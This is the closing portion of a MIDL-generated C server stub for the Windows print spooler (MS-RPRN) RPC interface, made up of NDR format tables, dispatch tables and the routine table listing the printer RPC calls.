NdrFcShort( 0xffc9 ), /* Offset= -55 (78) */ 2024 | 0x5b, /* FC_END */ 2025 | /* 136 */ 2026 | 0x16, /* FC_PSTRUCT */ 2027 | 0x3, /* 3 */ 2028 | /* 138 */ NdrFcShort( 0x10 ), /* 16 */ 2029 | /* 140 */ 2030 | 0x4b, /* FC_PP */ 2031 | 0x5c, /* FC_PAD */ 2032 | /* 142 */ 2033 | 0x46, /* FC_NO_REPEAT */ 2034 | 0x5c, /* FC_PAD */ 2035 | /* 144 */ NdrFcShort( 0xc ), /* 12 */ 2036 | /* 146 */ NdrFcShort( 0xc ), /* 12 */ 2037 | /* 148 */ 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ 2038 | /* 150 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (102) */ 2039 | /* 152 */ 2040 | 0x5b, /* FC_END */ 2041 | 2042 | 0x8, /* FC_LONG */ 2043 | /* 154 */ 0x8, /* FC_LONG */ 2044 | 0x8, /* FC_LONG */ 2045 | /* 156 */ 0x8, /* FC_LONG */ 2046 | 0x5b, /* FC_END */ 2047 | 2048 | 0x0 2049 | } 2050 | }; 2051 | 2052 | static const NDR_RUNDOWN RundownRoutines[] = 2053 | { 2054 | PRINTER_HANDLE_rundown 2055 | }; 2056 | 2057 | 2058 | static const unsigned short winspool_FormatStringOffsetTable[] = 2059 | { 2060 | 0, 2061 | 34, 2062 | 100, 2063 | 134, 2064 | 168, 2065 | 202, 2066 | 236, 2067 | 270, 2068 | 304, 2069 | 338, 2070 | 372, 2071 | 406, 2072 | 440, 2073 | 474, 2074 | 508, 2075 | 542, 2076 | 576, 2077 | 610, 2078 | 644, 2079 | 678, 2080 | 712, 2081 | 746, 2082 | 780, 2083 | 814, 2084 | 848, 2085 | 882, 2086 | 916, 2087 | 950, 2088 | 984, 2089 | 1018, 2090 | 1060, 2091 | 1094, 2092 | 1128, 2093 | 1162, 2094 | 1196, 2095 | 1230, 2096 | 1264, 2097 | 1298, 2098 | 1326, 2099 | 1354, 2100 | 1388, 2101 | 1422, 2102 | 1456, 2103 | 1490, 2104 | 1518, 2105 | 1546, 2106 | 1574, 2107 | 1608, 2108 | 1642, 2109 | 1676, 2110 | 1704, 2111 | 1732, 2112 | 1766, 2113 | 1800, 2114 | 1834, 2115 | 1862, 2116 | 1890, 2117 | 1924, 2118 | 1952, 2119 | 1986, 2120 | 2020, 2121 | 2054, 2122 | 2088, 2123 | 2122, 2124 | 2150, 2125 | 2178 2126 | }; 2127 | 2128 | 2129 | static const MIDL_STUB_DESC winspool_StubDesc = 2130 | { 2131 | (void *)& winspool___RpcServerInterface, 2132 | MIDL_user_allocate, 2133 | MIDL_user_free, 2134 | 0, 2135 | RundownRoutines, 2136 | 0, 2137 | 0, 2138 | 0, 2139 | ms2Drprn__MIDL_TypeFormatString.Format, 2140 | 1, /* -error bounds_check flag */ 2141 | 0x60001, /* Ndr library version */ 2142 | 0, 2143 | 0x801026e, /* MIDL Version 8.1.622 */ 2144 | 0, 2145 | 0, 2146 | 0, /* notify & notify_flag routine table */ 2147 | 0x1, /* MIDL flag */ 2148 | 0, /* cs routines */ 2149 | 0, /* proxy/server info */ 2150 | 0 2151 | }; 2152 | 2153 | static const RPC_DISPATCH_FUNCTION winspool_table[] = 2154 | { 2155 | NdrServerCall2, 2156 | NdrServerCall2, 2157 | NdrServerCall2, 2158 | NdrServerCall2, 2159 | NdrServerCall2, 2160 | NdrServerCall2, 2161 | NdrServerCall2, 2162 | NdrServerCall2, 2163 | NdrServerCall2, 2164 | NdrServerCall2, 2165 | NdrServerCall2, 2166 | NdrServerCall2, 2167 | NdrServerCall2, 2168 | NdrServerCall2, 2169 | NdrServerCall2, 2170 | NdrServerCall2, 2171 | NdrServerCall2, 2172 | NdrServerCall2, 2173 | NdrServerCall2, 2174 | NdrServerCall2, 2175 | NdrServerCall2, 2176 | NdrServerCall2, 2177 | NdrServerCall2, 2178 | NdrServerCall2, 2179 | NdrServerCall2, 2180 | NdrServerCall2, 2181 | NdrServerCall2, 2182 | NdrServerCall2, 2183 | NdrServerCall2, 2184 | NdrServerCall2, 2185 | NdrServerCall2, 2186 | NdrServerCall2, 2187 | NdrServerCall2, 2188 | NdrServerCall2, 2189 | NdrServerCall2, 2190 | NdrServerCall2, 2191 | NdrServerCall2, 2192 | NdrServerCall2, 2193 | NdrServerCall2, 2194 | NdrServerCall2, 2195 | NdrServerCall2, 2196 | NdrServerCall2, 2197 | NdrServerCall2, 2198 | NdrServerCall2, 2199 | NdrServerCall2, 2200 | NdrServerCall2, 2201 | NdrServerCall2, 2202 | NdrServerCall2, 2203 | NdrServerCall2, 2204 | NdrServerCall2, 2205 | NdrServerCall2, 2206 | NdrServerCall2, 2207 | NdrServerCall2, 2208 | NdrServerCall2, 2209 | NdrServerCall2, 2210 | NdrServerCall2, 2211 | NdrServerCall2, 2212 | NdrServerCall2, 2213 | NdrServerCall2, 2214 | NdrServerCall2, 2215 | NdrServerCall2, 2216 | NdrServerCall2, 2217 | NdrServerCall2, 2218 | NdrServerCall2, 2219 | NdrServerCall2, 2220 | NdrServerCall2, 2221 | 0 2222 | }; 2223 | static const RPC_DISPATCH_TABLE winspool_v1_0_DispatchTable = 2224 | { 2225 | 66, 2226 | (RPC_DISPATCH_FUNCTION*)winspool_table 2227 | }; 2228 | 2229 | static const SERVER_ROUTINE winspool_ServerRoutineTable[] = 2230 | { 2231 | (SERVER_ROUTINE)RpcEnumPrinters, 2232 | (SERVER_ROUTINE)RpcOpenPrinter, 2233 | (SERVER_ROUTINE)RpcSetJob, 2234 | (SERVER_ROUTINE)RpcGetJob, 2235 | (SERVER_ROUTINE)RpcEnumJobs, 2236 | (SERVER_ROUTINE)RpcAddPrinter, 2237 | (SERVER_ROUTINE)RpcDeletePrinter, 2238 | (SERVER_ROUTINE)RpcSetPrinter, 2239 | (SERVER_ROUTINE)RpcGetPrinter, 2240 | (SERVER_ROUTINE)RpcAddPrinterDriver, 2241 | (SERVER_ROUTINE)RpcEnumPrinterDrivers, 2242 | (SERVER_ROUTINE)RpcGetPrinterDriver, 2243 | (SERVER_ROUTINE)RpcGetPrinterDriverDirectory, 2244 | (SERVER_ROUTINE)RpcDeletePrinterDriver, 2245 | (SERVER_ROUTINE)RpcAddPrintProcessor, 2246 | (SERVER_ROUTINE)RpcEnumPrintProcessors, 2247 | (SERVER_ROUTINE)RpcGetPrintProcessorDirectory, 2248 | (SERVER_ROUTINE)RpcStartDocPrinter, 2249 | (SERVER_ROUTINE)RpcStartPagePrinter, 2250 | (SERVER_ROUTINE)RpcWritePrinter, 2251 | (SERVER_ROUTINE)RpcEndPagePrinter, 2252 | (SERVER_ROUTINE)RpcAbortPrinter, 2253 | (SERVER_ROUTINE)RpcReadPrinter, 2254 | (SERVER_ROUTINE)RpcEndDocPrinter, 2255 | (SERVER_ROUTINE)RpcAddJob, 2256 | (SERVER_ROUTINE)RpcScheduleJob, 2257 | (SERVER_ROUTINE)RpcGetPrinterData, 2258 | (SERVER_ROUTINE)RpcSetPrinterData, 2259 | (SERVER_ROUTINE)RpcWaitForPrinterChange, 2260 | (SERVER_ROUTINE)RpcClosePrinter, 2261 | (SERVER_ROUTINE)RpcAddForm, 2262 | (SERVER_ROUTINE)RpcDeleteForm, 2263 | (SERVER_ROUTINE)RpcGetForm, 2264 | (SERVER_ROUTINE)RpcSetForm, 2265 | (SERVER_ROUTINE)RpcEnumForms, 2266 | (SERVER_ROUTINE)RpcEnumPorts, 2267 | (SERVER_ROUTINE)RpcEnumMonitors, 2268 | (SERVER_ROUTINE)Opnum37NotUsedOnWire, 2269 | (SERVER_ROUTINE)Opnum38NotUsedOnWire, 2270 | (SERVER_ROUTINE)RpcDeletePort, 2271 | (SERVER_ROUTINE)RpcCreatePrinterIC, 2272 | (SERVER_ROUTINE)RpcPlayGdiScriptOnPrinterIC, 2273 | (SERVER_ROUTINE)RpcDeletePrinterIC, 2274 | (SERVER_ROUTINE)Opnum43NotUsedOnWire, 2275 | (SERVER_ROUTINE)Opnum44NotUsedOnWire, 2276 | (SERVER_ROUTINE)Opnum45NotUsedOnWire, 2277 | (SERVER_ROUTINE)RpcAddMonitor, 2278 | (SERVER_ROUTINE)RpcDeleteMonitor, 2279 | (SERVER_ROUTINE)RpcDeletePrintProcessor, 2280 | (SERVER_ROUTINE)Opnum49NotUsedOnWire, 2281 | (SERVER_ROUTINE)Opnum50NotUsedOnWire, 2282 | (SERVER_ROUTINE)RpcEnumPrintProcessorDatatypes, 2283 | (SERVER_ROUTINE)RpcResetPrinter, 2284 | (SERVER_ROUTINE)RpcGetPrinterDriver2, 2285 | (SERVER_ROUTINE)Opnum54NotUsedOnWire, 2286 | (SERVER_ROUTINE)Opnum55NotUsedOnWire, 2287 | (SERVER_ROUTINE)RpcFindClosePrinterChangeNotification, 2288 | (SERVER_ROUTINE)Opnum57NotUsedOnWire, 2289 | (SERVER_ROUTINE)RpcReplyOpenPrinter, 2290 | (SERVER_ROUTINE)RpcRouterReplyPrinter, 2291 | (SERVER_ROUTINE)RpcReplyClosePrinter, 2292 | (SERVER_ROUTINE)RpcAddPortEx, 2293 | (SERVER_ROUTINE)RpcRemoteFindFirstPrinterChangeNotification, 2294 | (SERVER_ROUTINE)Opnum63NotUsedOnWire, 2295 | (SERVER_ROUTINE)Opnum64NotUsedOnWire, 2296 | (SERVER_ROUTINE)RpcRemoteFindFirstPrinterChangeNotificationEx 2297 | }; 2298 | 2299 | static const MIDL_SERVER_INFO winspool_ServerInfo = 2300 | { 2301 | &winspool_StubDesc, 2302 | winspool_ServerRoutineTable, 2303 | ms2Drprn__MIDL_ProcFormatString.Format, 2304 | winspool_FormatStringOffsetTable, 2305 | 0, 2306 | 0, 2307 | 0, 2308 | 0}; 2309 | #pragma optimize("", on ) 2310 | #if _MSC_VER >= 1200 2311 | #pragma warning(pop) 2312 | #endif 2313 | 2314 | 2315 | #endif /* !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_) */ 2316 | 2317 | --------------------------------------------------------------------------------